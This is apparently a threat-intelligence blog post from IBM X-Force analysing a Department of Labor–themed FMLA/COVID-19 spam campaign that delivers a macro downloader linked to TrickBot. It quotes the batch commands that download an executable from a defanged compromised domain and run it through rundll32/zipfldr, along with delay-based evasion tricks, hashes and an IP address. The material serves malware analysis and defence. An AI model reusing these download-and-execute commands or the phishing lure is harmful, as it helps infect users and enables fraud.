IBM X-Force monitors billions of spam emails a year, mapping trending, malicious campaigns and their origins. Recent analysis from our spam traps uncovered a new Trickbot campaign that currently targets email recipients with fake messages purporting to come from the U.S. Department of Labor (DoL). The spam leverages the Family and Medical Leave Act (FMLA), which gives employees the right to medical leave benefits, as context around COVID-19 in order to distribute the malware.
Figure 1: Fake FMLA-themed email distributing malicious payloads
TrickBot is a sophisticated banking Trojan operated by an organized cybercrime gang. Users infected with the TrickBot Trojan will see their device become part of a botnet that can allow attackers to gain complete control of the device. Typical consequences of TrickBot infections are bank account takeover, high-value wire fraud, and possibly ransomware attacks targeting organizational networks. TrickBot is not limited to these types of attacks and X-Force has been seeing it dabble in additional cybercrime endeavors in the recent past, specifically teaming up with ITG08, known as FIN6, to carry out financially motivated attacks on the retail sector.
Spam purporting to come from official and government entities has been increasing considerably during the COVID-19 pandemic, with cybercriminals developing spam to match trending news, developments, merchandise and initiatives surrounding the outbreak as a means to deliver unsolicited emails that attract recipients to open and launch attachments.
DocuSign-Themed Maldocs and Malicious Macros
The email sample we started with, US-DoL.eml, contains three attachments: us-logo.png, faq.png and Family and Medical Leave of Act 22.04.doc. The .PNG files are benign image files that are visible in the HTML version of the email and contain a DoL logo and FAQ | CONTACT US, respectively. The document file is the malicious component.
Malicious document files are one of the most popular ways for cybercriminals to distribute malware. In the spam samples we looked at, the eventual TrickBot payload started out in a DocuSign-type attachment titled Family and Medical Leave of Act 22.04.doc. Once opened, the document asks the recipient to enable macros (ThisDocument.cls), from which, upon closing the file, malicious scripts will be launched to fetch the malware from the attacker’s designated domain.
The macro begins by creating a local directory, C:\Test, and drops a batch file, terop.bat, to that location. It then executes that file: C:\Test\terop.bat.
Overall, the following files are used in the infection chain:
|File Name||File Category||File Hash||Parent|
|Family and Medical Leave of Act 22.04.doc||Carrier File||d341215eb15167870aeff64d5380a69b||US-DoL.eml|
|terop.bat||Downloader||9f52f07856cdf2b076c27ae60cb0d100||Family and Medical Leave of Act 22.04.doc|
The primary purpose of terop.bat is to download a PE file and execute it using the following commands:
curl https[:]//www[.]omegasystemsuae[.]com/9hfudnsfl.exe –output %appdata%/Bio_Tecs.exe rundll32.exe, zipfldr.dll,RouteTheCall %appdata%\Bio_Tecs.exe
Some of the commands are broken up using the following technique:
Terop.bat contains TIMEOUT /T 30 and ping 126.96.36.199 commands to evade detection and delay execution.
Next, a route is added with the following command:
add 10.0.0.0 mask 255.0.0.0 10.35.8.1 -p.
This route appears to be needed for testing. The pathname, C:\Test, which terop.bat is initially written to, may suggest that this downloader is still being tested by those distributing the malware, which could explain some failures to fetch the final stage payload down the line.
Using the cURL utility, the terop.bat file attempts to download an executable from what appears to be a hijacked or compromised domain: hxxps://www.omegasystemsuae[.]com/9hfudnsfl.exe
The file is set to be written to %APPDATA%\Bio_Tecs.exe. However, since cURL is not available as part of a standard Windows deployment and it was not dropped by the malicious macro, that command ultimately failed and did not actually download the file.
zipfldr.dll is a standard Windows dynamic link library (DLL) that can be used as an alternate way to execute PE files using the exported function RouteTheCall. This command also fails due to the file not being downloaded nor written to the designated location that was set at %APPDATA%\Bio_Tecs.exe by a cURL command.
Another executable file that takes part in the overall infection routine is named Robocopy.exe. This file is used to move some files as well; however, during our analysis we noticed there was an issue that prevented the macro from writing the command to the batch file and the variables were not expanded. That also caused issues with string concatenation, which resulted in the command failing when the batch file was executed:
robocopy ” & sSource & ” /e /z /s ” & sPath & ” D:\Files E:\Backup ” & sFile
Is It TrickBot?
Without the actual payload, is it TrickBot or another malware? Based on observation of similar patterns in previous TrickBot campaigns, the “Macro on Close” function followed by the DocuSign theme has been a tactic used by this malware’s distributors. Another link to TrickBot is an IP address, 188.8.131.52, also previously linked with hosting TrickBot campaigns.
It is possible that malware is being distributed by the same parties and the final payload is possibly different, but TrickBot mostly uses the same distribution channels compared to more commercialized malware.
Endless COVID-19-Themed Spam Continues to Deliver Malware
As the COVID-19 pandemic continues to hold the attention of people everywhere in an unprecedented manner, we are sure to continue seeing the use of this theme in endless amounts of spam and attacks targeting users across the globe.
The current spam is likely an early warning to those expecting to take advantage of the FMLA during the pandemic to be on the lookout for malicious campaigns. TrickBot spam varies frequently depending on those distributing it, and the issues we detected in the macro scripts are likely to be fixed and relaunched in further spamming activity.
TrickBot is one of the leading and most sophisticated banking Trojans active in the wild this year. It is involved in high-stakes bank fraud, ransomware attacks and big game hunting activity that targets organizations around the globe.
Get indicators of compromise (IoCs) for this campaign on X-Force Exchange, and follow our collections on emerging threat intelligence to keep up to date about trending campaigns.